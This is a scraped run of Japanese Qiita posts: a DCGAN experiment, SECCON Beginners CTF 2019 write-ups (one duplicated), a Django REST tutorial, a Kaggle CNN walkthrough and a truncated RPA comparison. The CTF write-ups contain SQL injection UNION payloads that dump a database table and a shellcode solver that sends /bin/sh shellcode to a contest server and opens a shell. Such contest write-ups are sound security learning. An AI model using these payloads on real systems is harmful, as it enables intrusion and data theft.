- 投稿日:2019-05-26T23:02:56+09:00
DCGANを使って上白石萌歌さんらしきものを生成した話
今回は前回の続きとして。DCGANを用いて上白石萌歌さんらしきものを生成してみました。
とりあえず、DCGANの簡単な説明をしていきます。
DCGANとは
参考にしたサイトは以下
はじめてのGANCNNといってもプーリングはしないで、その代わりストライド2の畳み込みをする。
最後の方で全結合をしないで、Global average poolingを用いる。これを用いることで過学習を防いでくれる。(パラメータがなくなるから)
Batch Normalizationを用いて学習をはやくしたり、過学習を防ぐ。
GeneratorではReLUとTanhを用いるが、DiscriminatorではLeaky ReLUを用いる。
データセットの用意
スクレイピングとOpenCV2を使いました。詳しくはこちら
実装してみる
以下を参考にしました(というかほぼコピペ....)
5ステップでできるPyTorch - DCGAN
Colabで動かした結果はこちらこのコードは画像サイズが$64\times64$しか許されていないが、他のサイズを用いたいなら、頑張って畳み込みの部分を逆算するとよい。ちなみにDiscriminatorではサイズは辺の長さが半分ずつになっている。
gifの作り方を覚えたので載せておく。
Colavでconvertを使うのには、事前に以下のコマンドを実行することが必要。!apt-get update && apt-get install imagemagick以下でgifが作れる。
!convert -layers optimize -loop 0 -delay 10 ./Generated_Image/*.jpg animation.gif結果
GANの時よりは色合いもろもろを含めてまあ良くなったかなぁという感じ。
ただ、まだまだ求めてるものとは程遠い。(gifを貼る際に参考にしたサイト)
Qiitaにgifアニメを投稿する僕が考える一番簡単な方法【GIPHY CAPTURE】うーん、なんか下手な油絵みたいだなぁ。
まだまだ、俺の理想には遠いようだ。
チューニングをしたら良い感じのものができあがるのかなぁ。そもそもデータセットの質が悪いのかなぁ。まだGANの理解があまり足りていないので、もう少し理論の方を見ていきたい。
次回やることは未定ですが、ちょっとデータセットを改善したりGANの勉強をして、リベンジしたい。
- 投稿日:2019-05-26T22:29:30+09:00
SECCON Beginners CTF 2019
ONLINE 2019/5/25
Qiitaに記事として馴染むかは分からんのですがとりあえず投稿
チームで参戦してだいたい20位くらい
BeginnersなのでWriteupも丁寧に書いてみる!Web
BeginnersというだけあってESPer能力はさほど問われない問題が用意されていた
[warmup] Ramen 73pt
検索フィールドがあるモダンなラーメン屋さんのページが表示される。
とりあえずお約束のコードを打ち込んで見るところからスタートしてFlagをゲットするまで。・step1:カラム数のチェック
' UNION SELECT null, null, null ,null; # -> Fatal Error ' UNION SELECT null, null, null; # -> Fatal Error ' UNION SELECT null, null; # -> error 無し・step2:table名の取得
それっぽいflagというテーブル名が見える' UNION SELECT table_name , null FROM INFORMATION_SCHEMA.COLUMNS; # ・・・ INNODB_FT_CONFIG flag members ・・・・stage3:FLAG GET
テーブルを読み込むとFlagが表示されてる' UNION SELECT flag,null FROM flag; #FLAG:ctf4b{a_simple_sql_injection_with_union_select}
katsudon 101pt
Web問題?
よくわからないけどこんな文字列が渡される。BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052aとりあえずBase64に前半をかけるとFlagがいきなり出てきた・・・これでいいんでしょうか・・・
FLAG:ctf4b{K33P_Y0UR_53CR37_K3Y_B453}PWnable
[warmup]shellcoder 291pt
接続すると入力を求められるので、IDA(free)とgdbで解析して動作を見ていく。
nc 153.120.129.186 20000 Are you shellcoder?「b,i,n,s,h」を含むと終了する。
というわけで、こんな感じのコードを書いてShellを取って終了。
ShellcodeにはXORで/bin/shが見えない状態にするものを使用。solver.pyimport socket import telnetlib shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("153.120.129.186",20000)) print s.recv(1024) s.sendall(shellcode) t = telnetlib.Telnet() t.sock = s t.interact()# python solver.py Are you shellcoder? ls flag.txt shellcoder cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}Reversing
Leakage 186pt
実行時にflagを引数に渡すと正しいflagかどうかチェックしてくれるプログラム(たぶん)。
is_correct関数内で正しいかどうかをチェックしてる
0x40062Bのconvert関数でハードコーディングされているFlagをデコードして値をチェックしているのを発見。
convert関数のあとでcmpで比較してるところで値を張っていればFlagをゲット可能
FLAG:ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}Linear Operation 293pt
気づくのに若干時間がかかった問題
flagとして渡した値の特定のオフセットの1Byteを取り出し、演算した値とハードコーディングされている値をチェックしている箇所が延々と続く問題。
演算も毎回微妙に違うので人力で解析はかなりきつい・・・IDAで見るとこんな感じで、ギザギザに見えるのが1つの処理でFlagが結構長いので手動でやる気はおきないしやってはいけない感じ
というわけで、angrを使いました。
solver.pyimport angr p = angr.Project('./linear_operation', load_options={'auto_load_libs': False}) addr_main = p.loader.main_bin.get_symbol('main').addr addr_succeeded = 0x40CEDA addr_failed = 0x40CED2 initial_state = p.factory.blank_state(addr=addr_main) initial_path = p.factory.path(initial_state) pg = p.factory.path_group(initial_path) e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,)) if len(e.found) > 0: s = e.found[0].state print "%r" % s.posix.dumps(0)スペックの低いPCでも5分くらいで出た
Flag:ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}SecconPass 425pt
C++で書かれているパスワードマネージャのようなもの。
ハードコーディングされているKeyがFlagになっている様子。
が、要所要所に「To be implemented(実装予定)」と記載された処理が・・・とりあえず、Decrypt,Encrypt,Destroyしている箇所を読んでいく。と、0x39F0にあるデータを使用しようとしている雰囲気が。
0x3739でこの個所をXorすると、Flagの一部と思われる値「ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9」が出現
↓ XOR後
しかし、のこりのFlagが出てこない。
と、悩んでいるとアナウンスが・・・
どうやら中途半端にしかFlagが存在していない様子。
悩んだ時間はなんだったのかwまぁいいけど
Flag:ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9Misc
Sliding puzzle 206pt
0の位置がいわゆるブランクで、0をどのように操作すると0~8が順番通りに並ぶかを答える問題。
0を動かした順番は、0,1,3,0 のように入力する。
1回正解しても何度も問題が出題されるので、連続で解く必要がある問題。
ジャンルとしてはプログラミングになるのでは。---------------- ---------------- | 0 | 2 | 3 | | 0 | 1 | 2 | | 6 | 7 | 1 | これを、 | 3 | 4 | 5 | にするときの0のルートを回答。 | 8 | 4 | 5 | | 6 | 7 | 8 | ---------------- ----------------最初自力でSolverを書いたところ、答えが合っているだけではだめで、最短経路じゃないとダメらしい。
たまに最短じゃなかったらしく心が折れかけた(・ω・と、思ったら優秀なSolverを発見。
https://github.com/YahyaAlaaMassoud/Sliding-Puzzle-A-Star-Solverこれを魔改造して回答をGETしました。
FLAG:ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Pwn問題が解けなかったのが悔しい!
次はPwnがんばる
- 投稿日:2019-05-26T22:29:30+09:00
SECCON Beginners CTF 2019 Writeup
ONLINE 2019/5/25
Qiitaに記事として馴染むかは分からんのですがとりあえず投稿
チームで参戦してだいたい20位くらい
BeginnersなのでWriteupも丁寧に書いてみる!Web
BeginnersというだけあってESPer能力はさほど問われない問題が用意されていた
[warmup] Ramen 73pt
検索フィールドがあるモダンなラーメン屋さんのページが表示される。
とりあえずお約束のコードを打ち込んで見るところからスタートしてFlagをゲットするまで。・step1:カラム数のチェック
' UNION SELECT null, null, null ,null; # -> Fatal Error ' UNION SELECT null, null, null; # -> Fatal Error ' UNION SELECT null, null; # -> error 無し・step2:table名の取得
それっぽいflagというテーブル名が見える' UNION SELECT table_name , null FROM INFORMATION_SCHEMA.COLUMNS; # ・・・ INNODB_FT_CONFIG flag members ・・・・stage3:FLAG GET
テーブルを読み込むとFlagが表示されてる' UNION SELECT flag,null FROM flag; #FLAG:ctf4b{a_simple_sql_injection_with_union_select}
katsudon 101pt
Web問題?
よくわからないけどこんな文字列が渡される。BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052aとりあえずBase64に前半をかけるとFlagがいきなり出てきた・・・これでいいんでしょうか・・・
FLAG:ctf4b{K33P_Y0UR_53CR37_K3Y_B453}PWnable
[warmup]shellcoder 291pt
接続すると入力を求められるので、IDA(free)とgdbで解析して動作を見ていく。
nc 153.120.129.186 20000 Are you shellcoder?「b,i,n,s,h」を含むと終了する。
というわけで、こんな感じのコードを書いてShellを取って終了。
ShellcodeにはXORで/bin/shが見えない状態にするものを使用。solver.pyimport socket import telnetlib shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("153.120.129.186",20000)) print s.recv(1024) s.sendall(shellcode) t = telnetlib.Telnet() t.sock = s t.interact()# python solver.py Are you shellcoder? ls flag.txt shellcoder cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}Reversing
Leakage 186pt
実行時にflagを引数に渡すと正しいflagかどうかチェックしてくれるプログラム(たぶん)。
is_correct関数内で正しいかどうかをチェックしてる
0x40062Bのconvert関数でハードコーディングされているFlagをデコードして値をチェックしているのを発見。
convert関数のあとでcmpで比較してるところで値を張っていればFlagをゲット可能
FLAG:ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}Linear Operation 293pt
気づくのに若干時間がかかった問題
flagとして渡した値の特定のオフセットの1Byteを取り出し、演算した値とハードコーディングされている値をチェックしている箇所が延々と続く問題。
演算も毎回微妙に違うので人力で解析はかなりきつい・・・IDAで見るとこんな感じで、ギザギザに見えるのが1つの処理でFlagが結構長いので手動でやる気はおきないしやってはいけない感じ
というわけで、angrを使いました。
solver.pyimport angr p = angr.Project('./linear_operation', load_options={'auto_load_libs': False}) addr_main = p.loader.main_bin.get_symbol('main').addr addr_succeeded = 0x40CEDA addr_failed = 0x40CED2 initial_state = p.factory.blank_state(addr=addr_main) initial_path = p.factory.path(initial_state) pg = p.factory.path_group(initial_path) e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,)) if len(e.found) > 0: s = e.found[0].state print "%r" % s.posix.dumps(0)スペックの低いPCでも5分くらいで出た
Flag:ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}SecconPass 425pt
C++で書かれているパスワードマネージャのようなもの。
ハードコーディングされているKeyがFlagになっている様子。
が、要所要所に「To be implemented(実装予定)」と記載された処理が・・・とりあえず、Decrypt,Encrypt,Destroyしている箇所を読んでいく。と、0x39F0にあるデータを使用しようとしている雰囲気が。
0x3739でこの個所をXorすると、Flagの一部と思われる値「ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9」が出現
↓ XOR後
しかし、のこりのFlagが出てこない。
と、悩んでいるとアナウンスが・・・
どうやら中途半端にしかFlagが存在していない様子。
悩んだ時間はなんだったのかwまぁいいけど
Flag:ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9Misc
Sliding puzzle 206pt
0の位置がいわゆるブランクで、0をどのように操作すると0~8が順番通りに並ぶかを答える問題。
0を動かした順番は、0,1,3,0 のように入力する。
1回正解しても何度も問題が出題されるので、連続で解く必要がある問題。
ジャンルとしてはプログラミングになるのでは。---------------- ---------------- | 0 | 2 | 3 | | 0 | 1 | 2 | | 6 | 7 | 1 | これを、 | 3 | 4 | 5 | にするときの0のルートを回答。 | 8 | 4 | 5 | | 6 | 7 | 8 | ---------------- ----------------最初自力でSolverを書いたところ、答えが合っているだけではだめで、最短経路じゃないとダメらしい。
たまに最短じゃなかったらしく心が折れかけた(・ω・と、思ったら優秀なSolverを発見。
https://github.com/YahyaAlaaMassoud/Sliding-Puzzle-A-Star-Solverこれを魔改造して回答をGETしました。
FLAG:ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Pwn問題が解けなかったのが悔しい!
次はPwnがんばる
- 投稿日:2019-05-26T22:27:19+09:00
SECCON Beginners CTF 2019のアホアホWrite-up
チームTambourineKissでBeginners CTF 2019に参加してきました。
デビュー戦にしては大きな一歩です!(笑)
自分は、Party, Sliding puzzle, Seccompareの3問と
終了後にContainersを解きました。Party
暗号化のコードと、暗号結果が与えられる。
encrypt.pyfrom Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime, long_to_bytes def f(x, coeff): y = 0 for i in range(len(coeff)): y += coeff[i] * pow(x, i) return y N = 512 M = 3 secret = bytes_to_long(FLAG) assert(secret < 2**N) coeff = [secret] + [getRandomInteger(N) for i in range(M-1)] party = [getRandomInteger(N) for i in range(M)] val = map(lambda x: f(x, coeff), party) output = list(zip(party, val)) print(output)encrypted[ (5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125) ]FLAGという文字列をlong型整数に変換し、多項式計算した結果を出力している。
コードを読むとつまりはこうなっている。
secret + c_1 \times p_0 + c_2 \times p_0^2 = v0 \\ secret + c_1 \times p_1 + c_2 \times p_1^2 = v1 \\ secret + c_1 \times p_2 + c_2 \times p_2^2 = v2 \\
encrypted
には[(p0, v0), (p1, v1), (p2, v2)]
が与えられているので、連立方程式を解いてsecretを求める。import sympy s = sympy.Symbol('s') c1 = sympy.Symbol('c1') c2 = sympy.Symbol('c2') expr1 = s + c1 * p0 + c2 * p0**2 - v0 expr2 = s + c1 * p1 + c2 * p1**2 - v1 expr3 = s + c1 * p2 + c2 * p2**2 - v2 print(sympy.solve([expr1, expr2, expr3]))secret = 175721217420600153444809007773872697631803507409137493048703574941320093728 となり、これを
long_to_bytes(secret, N)
でFLAGに戻す。long_to_bytes(secret, N) >>> b'\x00\x00\x00 ... \x00\x00ctf4b{just_d0ing_sh4mir}'
ctf4b{just_d0ing_sh4mir}
Sliding puzzle
ncコマンドでサーバーから送られてくる8パズルの問題を解いて、答えを送信する。
---------------- | 06 | 03 | 02 | | 01 | 05 | 08 | | 07 | 04 | 00 | ----------------3秒くらい経つと遮断される。
8パズルをpythonで解くコードがあったので、それを拝借。
8 Puzzle (GitHub) - 8パズル - summer_tree_home8-puzzle_solver.pyfrom collections import deque MOVE = {'0': (0, -1), '2': (0, 1), '3': (-1, 0), '1': (1, 0)} def get_next(numbers): for d in '0231': zero_index = numbers.index(0) tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1] if 0 <= tx < 3 and 0 <= ty < 3: target_index = ty * 3 + tx result = list(numbers) result[zero_index], result[target_index] = numbers[target_index], 0 yield d, tuple(result) def checkio(puzzle): queue = deque([(tuple(n for line in puzzle for n in line), '')]) seen = set() while queue: numbers, route = queue.popleft() seen.add(numbers) if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8): return route for direction, new_numbers in get_next(numbers): if new_numbers not in seen: queue.append((new_numbers, route + direction + ','))あとはpythonでNetcat通信をする。
Pythonによる通信処理solver.pyimport socket import numpy as np host = "XXX.XXX.XXX.XXX" port = xxxx client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) while True: response = client.recv(4096) print(response) p = response.decode('utf-8').replace(' ','').split('|') puzzle = p[1:4] + p[5:8] + p[9:12] puzzle = np.array(list(map(int, puzzle))).reshape(3, 3) print(puzzle) ans = checkio(puzzle.reshape(3,3)).rstrip(',').encode('utf-8') print(ans) client.send(ans)
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Seccompare
seccompare
という実行ファイルが与えらる。$ file seccompare seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not strippedとりあえずの
strings
でも特に何も無い。Ubuntu環境で実行してみたら、文字列を引数としてflagとして正しいか否かを出力するというものだった。
ファイルの中身を確認してみる。
$ hexdump -C seccompare ... 00000620 00 e8 ba fe ff ff b8 01 00 00 00 e9 b1 00 00 00 |................| 00000630 c6 45 d0 63 c6 45 d1 74 c6 45 d2 66 c6 45 d3 34 |.E.c.E.t.E.f.E.4| 00000640 c6 45 d4 62 c6 45 d5 7b c6 45 d6 35 c6 45 d7 74 |.E.b.E.{.E.5.E.t| 00000650 c6 45 d8 72 c6 45 d9 31 c6 45 da 6e c6 45 db 67 |.E.r.E.1.E.n.E.g| 00000660 c6 45 dc 73 c6 45 dd 5f c6 45 de 31 c6 45 df 73 |.E.s.E._.E.1.E.s| 00000670 c6 45 e0 5f c6 45 e1 6e c6 45 e2 30 c6 45 e3 74 |.E._.E.n.E.0.E.t| 00000680 c6 45 e4 5f c6 45 e5 65 c6 45 e6 6e c6 45 e7 30 |.E._.E.e.E.n.E.0| 00000690 c6 45 e8 75 c6 45 e9 67 c6 45 ea 68 c6 45 eb 7d |.E.u.E.g.E.h.E.}| 000006a0 c6 45 ec 00 48 8b 45 c0 48 83 c0 08 48 8b 10 48 |.E..H.E.H...H..H| ...おったw
テキストエディタなどで.E.などを除去して、
ctf4b{5tr1ngs_1s_n0t_en0ugh}
Containers
containers
というバイナリファイルが与えられる。
binwalk
かforemost
コマンドで中身のデータを抽出できるようだが、アホなのでforemostコマンドしたoutputファイルが生成されたことに気づかず、binwalkでゴリ押した。
foremostだと一発じゃ〜ん何だよ〜言ってくれよ
strings
すると、最後の方に怪しげなpythonコードがある。VALIDATOR.import hashlib print('Valid flag.' if hashlib.sha1(input('Please your flag:').encode('utf-8')).hexdigest()=='3c90b7f38d3c200d8e6312fbea35668bec61d282' else 'wrong.'.ENDCONTAINERbinwalkするとPNGがたくさんあることがわかる。
$ binwalk -e containers DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 16 0x10 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 107 0x6B Zlib compressed data, compressed 738 0x2E2 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 829 0x33D Zlib compressed data, compressed 1334 0x536 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced ...抽出されたものは、115D、115D.zlibなどがたくさんあった。
115Dがヘッダーが無い画像の値のみのファイルだという推測の元、画像として無理やり開いた。list = ['115D', '147F', '1731', '1A9D', '1EA8', '20ED', '2476', '28AA', '2B7D', '2FB1', '3264', '33D', '3670', '395B', '3D0A', '4093', '43FC', '4785', '4B0E', '4E31', '51E0', '5549', '581C', '591', '5BCB', '5E10', '6145', '64F4', '68FF', '6B', '6C2A', '6FB3', '71F8', '74CB', '78D7', '7B7F', '7D5', 'B83', 'EAD'] for name in list: f = open(name, mode='rb') topo = np.fromfile(f, dtype='uint8',sep='')[:65536].reshape(128,128,4) plt.imshow(topo[:,:,:4]) plt.show()順番がめちゃくちゃだったので、先ほどの
strings
で出てきたハッシュ値が一致するように順列で総当りする。
普通じゃ終わらない長さだけど、運が良いのでできた。import itertools text = 'e52df60c058746a66e4ac4f34dbc6f81' for element in itertools.permutations(text, len(text)): if hashlib.sha1(('ctf4b{'+''.join(element)+'}').encode('utf-8')).hexdigest()=='3c90b7f38d3c200d8e6312fbea35668bec61d282': print('ctf4b{'+''.join(element)+'}')
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
以上です。
Biginners向けとしてはちょっとかなりだいぶ難しかったですね。お疲れ様でした。
- 投稿日:2019-05-26T22:21:27+09:00
Django REST frameworkチュートリアル その4.2
Associating Snippets with Users
前回の記事「Django REST frameworkチュートリアル その4.1」の続きです。
チュートリアルその4の記事で以下のTODOがありました。スニペットを登録するときに自動でリクエストを送った人が
owner
となるように登録したいです。この機能を実装してみましょう。
views.py
この実装はかなり簡単です。
SnippetList
クラスのperform_create()
メソッドをオーバーライドするだけです。snippets/views.pyfrom rest_framework.response import Response from snippets.models import Snippet from snippets.serializers import SnippetSerializer, UserSerializer from snippets.permissions import IsOwnerOrReadOnly from django.contrib.auth.models import User from rest_framework import generics, permissions class SnippetList(generics.ListCreateAPIView): permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Snippet.objects.all() serializer_class = SnippetSerializer def perform_create(self, serializer): serializer.save(owner=self.request.user) class SnippetDetail(generics.RetrieveUpdateDestroyAPIView): permission_classes = [IsOwnerOrReadOnly] queryset = Snippet.objects.all() serializer_class = SnippetSerializer class UserList(generics.ListCreateAPIView): permission_classes = [permissions.AllowAny] queryset = User.objects.all() serializer_class = UserSerializer class UserDetails(generics.RetrieveUpdateDestroyAPIView): permission_classes = [IsOwnerOrReadOnly] queryset = User.objects.all() serializer_class = UserSerializer公式ドキュメントを参照すると、
perform_create(self, serializer)
- Called byCreateModelMixin
when saving a new object instance.とあります。
perform_create
はCreateModelMixin
から呼び出されて、新しいオブジェクトインスタンスを保存するときに呼び出されるメソッドのようですね。テスト
スニペットを新規作成するリクエストを送ってみましょう。
curl -X POST -H 'Content-Type:application/json' -H 'Authorization: Bearer <your access token>' -d '{"title":"hoge","code":"fuga"}' http://localhost:8000/snippets/
owner
が自動で登録されるのが確認できたでしょうか。以上でオーナーの自動登録は完了です。
- 投稿日:2019-05-26T22:18:45+09:00
画像認識チュートリアルのTop6%の手法を触ってみた(Digit Recognizer、CNN)
今回はコンペへの実際の参加ではなく、コンペにあるカーネル(他の人のお手本みたいなやつ)を試してみます。
今回は初めてdeep learning を使ったので、最初はKerasの使い方が全然分かりませんでした()実際に触ったやつ
https://www.kaggle.com/yassineghouzam/introduction-to-cnn-keras-0-997-top-6それではいつものように流れを追っていきます
Digit Recognizerとは
与えられた画像を見て、訓練データの画像はなんと37800個もあって、それぞれの画像が0から9までのどの数字になるかの識別を行うコンペです。データは28×28のピクセルのもので、それぞれのピクセルごとに0から255までの数字が割り与えられます(値は小さければ小さいほど白に近い)。
前処理
今回の前処理はあまりやることは多くありません。というのも、画像データをピクセルごとに0から1の範囲に標準化して画像データなので訓練データのYをカテゴライズ化して、訓練データを反転させたりして水増しするだけです。それでは見ていきます。
標準化とカテゴライズ化(モジュールのインポートは省略)
train = pd.read_csv("../input/train.csv") test = pd.read_csv("../input/test.csv") Y_train = train["label"] X_train = X_train / 255.0 test = test / 255.0 Y_train = to_categorical(Y_train, num_classes = 10)次に水増しの作業です。これが最初正直何言ってるか全然分かりませんでしたが、Kerasのドキュメントを読みながら必死に理解しました
やってる事は、拡大だったり回転だったりをするのかしないのかなどを設定し、するならその値も設定するって感じですね。このImageDataGeneratorは後ほどmodelにFitさせるときにまとめて使用します。ImageDataGeneratorの説明↓
https://keras.io/ja/preprocessing/image/datagen = ImageDataGenerator( featurewise_center=False, # set input mean to 0 over the dataset samplewise_center=False, # set each sample mean to 0 featurewise_std_normalization=False, # divide inputs by std of the dataset samplewise_std_normalization=False, # divide each input by its std zca_whitening=False, # apply ZCA whitening rotation_range=10, # randomly rotate images in the range (degrees, 0 to 180) zoom_range = 0.1, # Randomly zoom image width_shift_range=0.1, # randomly shift images horizontally (fraction of total width) height_shift_range=0.1, # randomly shift images vertically (fraction of total height) horizontal_flip=False, # randomly flip images vertical_flip=False) # randomly flip images datagen.fit(X_train)さて、これで前処理は完了です。次にモデルの設計をしていきます。
モデルの設計
モデルの構成としては
28×28×1を入力
↓
二回畳み込む
↓
プーリング層
↓
ドロップアウト層
↓
一次配列にする(Flatten())
↓
中間層(258個のニューロン)
↓
ドロップアウト層
↓
10個のニューロン
↓
出力こんな感じの流れになってます。ちなみにこの値になるまでのパラメータチューニングは今回は省略、というかよく自分でも分かってないし実際になったら重そうだからやりたくない()
model = Sequential() model.add(Conv2D(filters = 32, kernel_size = (5,5),padding = 'Same', activation ='relu', input_shape = (28,28,1))) model.add(Conv2D(filters = 32, kernel_size = (5,5),padding = 'Same', activation ='relu')) model.add(MaxPool2D(pool_size=(2,2))) model.add(Dropout(0.25)) model.add(Conv2D(filters = 64, kernel_size = (3,3),padding = 'Same', activation ='relu')) model.add(Conv2D(filters = 64, kernel_size = (3,3),padding = 'Same', activation ='relu')) model.add(MaxPool2D(pool_size=(2,2), strides=(2,2))) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(256, activation = "relu")) model.add(Dropout(0.5)) model.add(Dense(10, activation = "softmax"))実行
あとはこれをコンパイルして実行します。
OptimizerにはRMSprop、評価指標にはクロスエントロピーを使用してます。
また、epochは1に設定されていますが、これは一回回すのにも時間がかかるためです。実際は30回回してますが、自分は重かったのでそんなに回してないです笑optimizer = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0) model.compile(optimizer = optimizer , loss = "categorical_crossentropy", metrics=["accuracy"]) learning_rate_reduction = ReduceLROnPlateau(monitor='val_acc', patience=3, verbose=1, factor=0.5, min_lr=0.00001) epochs = 1 # Turn epochs to 30 to get 0.9967 accuracy batch_size = 86 history = model.fit_generator(datagen.flow(X_train,Y_train, batch_size=batch_size), epochs = epochs, validation_data = (X_val,Y_val),verbose = 2, steps_per_epoch=X_train.shape[0] // batch_size, callbacks=[learning_rate_reduction])最後にこのモデルを使って予測をして完成です!
results = model.predict(test)最後に
とにかく感想としては、やっぱりディープラーニングは動きが重くて時間かかるなあと感じました。
ちなみに今回は自分はKerasや畳み込みニューラルネットワークについて全く知らなかったので、「直感DeepLearning」という本を使って理解しました。中のロジックについては今まさにcourseraのDeepLeaningコースで学習しているところです。今度はこれについても書こうと思っています。
- 投稿日:2019-05-26T22:13:58+09:00
RPA九人衆による「アカネチャンカワイイヤッタ」
レギュレーション
各RPAツールでVOICEROID2の茜ちゃんに「アカネチャンカワイイヤッタ」と言わせた後にファイルを保存します。
画像認識できる場合は葵ちゃんにもしゃべってもらいます。環境:
Window10 64bit
VoiceRoide2タブの中の子要素が取れない問題について:
https://teratail.com/questions/53276参加ツール
ツール名 簡単な説明 VBA + UIAutomation UIAutomationをCOM経由でVBAで実行して画面操作します。ツールに頼らない裸の強さを見せてくれます。 PowerShell + UIAutomation UIAutomationを.NET経由でPowerShellを使って実行します。Windows7以降ならOfficeすら不要という強さがあります。 WinAppDriver Microsoftが開発したSeleniumライクの自動操作を実現するツール。Seleniumを使うなら俺も使えという熱い気持ちが伝わってきます。 Friendly 本来はテストツール。操作対象のアプリにテスト用のDLLをインジェクションするという荒業をみせて、参加選手のなか唯一タブの中の要素を画像認識を使わずに操作した豪の物です。 PyAutoGUI Pythonでの自動操作を実現します。基本的に画像認識で操作を行いますが、旨く作ればMacでもLinuxでも動作します。最近のPythonブームによって躍進が期待されます。 UWSC 古のツールの中で唯一UIAutomationが認識できる要素を解析できたつわものです。バランスの取れたいい選手ですが、このたび公式サイトが閉鎖されるというアクシデントがあり引退がささやかれています。 sikulix 画像認識に特化したツール。IDEが使いやすくデザインされています。またJavaで動作してどこでも動くうえ、スクリプト自体はPythonやRuby,JavaScriptで記載できる欲張りセットになっております。 RocketMouse 昔からある自動操作ツール。画像認識はできるが、オブジェクトの認識はWin32で作ったものしかできません。今回は試用版による参加 UIPath 2018年のforresterの調査でRPAのリーダーと言わしめた製品。高価格帯からは唯一の参戦だが、Community版なら個人や小規模事業では使用できるというサプライズ。 なお、AutoIt選手とAutoHotKey選手につきましてはUIAutomationのCOMを触るためのIFを用意する必要があり、それ以外だと、画像認識しかできないので今回は欠場となっております。
アカネチャンカワイイヤッターの実行
VBA + UIAutomationでアカネチャンカワイイヤッター
Officeさえ入っていればWindowsの自動操作が行えます。
RPAツールなんていらんかったんや画面上の要素を正確に捕捉できるため、違うPCでも動かしやすいという利点があります。
操作対象のオブジェクトの調査はInspectを用いて行うとよいでしょう。VBAによる実装
https://github.com/mima3/rpa_akanechan/tree/master/vba(UIAutomationCom)
Module1Option Explicit Public Sub Kawaii() Dim vr As New VoiceRoid Dim mainForm As IUIAutomationElement Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2") If (mainForm Is Nothing) Then Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2*") If (mainForm Is Nothing) Then MsgBox "VOICEROIDE2が起動していない" Exit Sub End If End If ' 茜ちゃんしゃべる Call vr.SetText(mainForm, 0, "アカネチャンカワイイヤッタ") Call vr.pushButton(mainForm, 0) ' しゃべり終わるまで待機 Dim sts As String Do While sts <> "テキストの読み上げは完了しました。" sts = vr.GetStatusBarItemText(mainForm, 0) Call vr.SleepMilli(500) Loop ' 音声保存 Call vr.pushButton(mainForm, 4) ' 5秒以内に音声保存画面が表示されたら保存ボタンを押す Dim saveWvForm As IUIAutomationElement Set saveWvForm = vr.WaitMainWindowByTitle(mainForm, "音声保存", 5) Call vr.pushButton(saveWvForm, 0) ' 名前を付けて保存に日付のファイル名を作る Dim saveFileForm As 